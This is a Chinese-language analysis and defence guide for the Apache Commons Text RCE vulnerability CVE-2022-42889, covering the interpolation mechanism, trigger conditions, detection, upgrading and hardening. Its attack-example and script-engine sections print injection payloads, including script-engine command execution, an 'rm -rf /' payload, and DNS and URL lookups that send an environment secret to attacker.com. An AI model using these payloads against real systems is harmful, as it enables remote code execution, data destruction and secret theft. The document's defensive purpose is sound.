Apache Commons Text RCE漏洞(CVE-2022-42889)深度分析与防护指南
漏洞概述
漏洞编号: CVE-2022-42889
漏洞类型: 远程代码执行(RCE)
影响组件: Apache Commons Text库
影响版本: 1.5至1.9版本
漏洞披露时间: 2022年10月13日
CVSS评分: 高危(具体评分需参考官方评估)
技术背景
Apache Commons Text是一个提供文本处理功能的Java库,常用于字符串操作、文本转换等场景。该库提供了变量插值功能,允许动态评估和扩展属性,标准格式为${prefix:name}。
漏洞原理
插值机制分析
-
插值语法:
${prefix:name}prefix用于定位执行插值的StringLookup实例name作为参数传递给对应的lookup方法
-
危险的内置Lookup实现:
script: 使用JVM脚本引擎(javax.script)执行表达式dns: 解析DNS记录url: 从URL加载值(包括远程服务器)
漏洞触发条件
当应用程序同时满足以下条件时可能受到攻击:
- 使用受影响版本(1.5-1.9)的Apache Commons Text
- 采用以下任一方式初始化StringSubstitutor:
- 调用
StringSubstitutor.createInterpolator() - 使用
new StringSubstitutor(StringLookupFactory.INSTANCE.interpolatorStringLookup())构造
- 调用
- 处理了不受信任的输入数据
漏洞利用分析
代码执行路径
-
初始化阶段:
StringSubstitutor.createInterpolator() → new StringSubstitutor(StringLookupFactory.INSTANCE.interpolatorStringLookup()) → InterpolatorStringLookup.INSTANCE -
Lookup注册:
StringLookupFactory.INSTANCE.addDefaultStringLookups(this.stringLookupMap)注册了包括script、dns、url等危险Lookup
-
恶意输入解析:
当处理如${script:javascript:java.lang.Runtime.getRuntime().exec("calc")}的输入时:- 提取prefix为"script"
- 找到ScriptStringLookup实例
- 通过JSR-223脚本引擎执行恶意代码
实际攻击示例
-
远程代码执行:
${script:javascript:java.lang.Runtime.getRuntime().exec("恶意命令")} -
DNS泄露:
${dns:address|attacker.com} -
SSRF攻击:
${url:UTF-8:http://attacker.com/leak?data=${env:SECRET}}
影响范围评估
直接影响
-
核心影响: 在特定配置下可能导致:
- 任意代码执行
- 服务器端请求伪造(SSRF)
- 敏感信息泄露
- DNS重绑定攻击
-
版本影响:
- 1.5-1.6版本:需显式使用
interpolatorStringLookup()初始化 - 1.7-1.9版本:通过
createInterpolator()也可触发
- 1.5-1.6版本:需显式使用
间接影响
- 依赖Commons Text的其他组件可能间接受影响
- 使用受影响版本但未启用插值功能的应用程序不受影响
检测与诊断
自检方法
-
版本检查:
mvn dependency:tree | grep "commons-text"或检查pom.xml中
commons-text的版本 -
代码检查:
- 查找
StringSubstitutor.createInterpolator()调用 - 查找
new StringSubstitutor(StringLookupFactory.INSTANCE.interpolatorStringLookup())构造 - 检查是否处理了未经验证的用户输入
- 查找
-
运行时检测:
监控异常的网络连接(DNS查询、HTTP请求)或脚本引擎活动
修复方案
官方修复
-
升级到安全版本:
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-text</artifactId> <version>1.10.0</version> </dependency>1.10.0版本移除了危险的默认Lookup
-
临时缓解措施:
- 禁用插值功能或限制允许的Lookup
- 自定义StringLookupFactory,排除危险Lookup:
Map<String, StringLookup> lookupMap = new HashMap<>(); // 只添加安全的Lookup StringLookupFactory.INSTANCE.addDefaultStringLookups(lookupMap); lookupMap.remove("script"); lookupMap.remove("dns"); lookupMap.remove("url"); StringSubstitutor substitutor = new StringSubstitutor( new InterpolatorStringLookup(lookupMap, null, false));
安全编码实践
-
输入验证:
- 对所有传入StringSubstitutor的输入进行严格验证
- 使用白名单机制限制允许的插值格式
-
最小权限原则:
- 在沙箱环境中执行文本处理
- 使用SecurityManager限制脚本引擎权限
-
防御性编程:
// 安全用法示例 StringSubstitutor substitutor = StringSubstitutor.createInterpolator(); substitutor.setVariableResolver(new CustomSafeResolver()); // 自定义安全解析器
深入技术分析
StringLookup机制详解
-
核心接口:
public interface StringLookup { String lookup(String key); } -
关键实现类:
ScriptStringLookup: 通过脚本引擎执行UrlStringLookup: 发起HTTP请求DnsStringLookup: 解析DNS记录ResourceBundleStringLookup: 访问资源文件FileStringLookup: 读取文件内容
-
查找流程:
- 解析
${prefix:value}格式 - 根据prefix从map获取对应StringLookup
- 调用lookup(value)方法
- 解析
脚本引擎利用细节
攻击者可利用JSR-223脚本引擎支持的所有语言:
- JavaScript (Nashorn/Rhino)
- Groovy
- Python (Jython)
- Ruby (JRuby)
- 等
示例攻击向量:
${script:groovy:Runtime.getRuntime().exec("rm -rf /")}
${script:jython:import os;os.system("恶意命令")}
企业级防护建议
-
资产盘点:
- 全系统扫描识别所有使用commons-text的组件
- 建立软件物料清单(SBOM)
-
分层防护:
- 网络层: 出站流量限制,阻止异常外连
- 主机层: 使用安全基线,限制脚本引擎权限
- 应用层: WAF规则拦截恶意插值格式
-
监控与响应:
- 日志监控异常文本处理活动
- 建立应急响应流程
-
开发流程改进:
- 引入SCA(软件成分分析)工具
- 加强第三方库的安全评审
常见问题解答
Q1: 仅使用commons-text但不调用插值功能是否受影响?
A1: 不受影响,漏洞需要特定的初始化方式和输入处理。
Q2: 如何安全地使用文本插值功能?
A2: 1.10.0+版本可安全使用,或自定义StringLookup排除危险功能。
Q3: 是否有已知的在野利用?
A3: 截至分析时未见大规模利用,但因漏洞利用条件明确,需警惕针对性攻击。
Q4: 其他语言是否有类似风险?
A4: 任何支持动态代码评估的文本处理功能都可能存在类似风险,需具体分析。
总结
CVE-2022-42889展示了文本处理库中看似 innocuous 的功能如何成为严重安全风险的典型案例。虽然实际利用需要特定条件,但一旦满足可能导致严重后果。建议所有使用Apache Commons Text的组织立即进行排查,并根据业务需求选择升级或安全配置方案。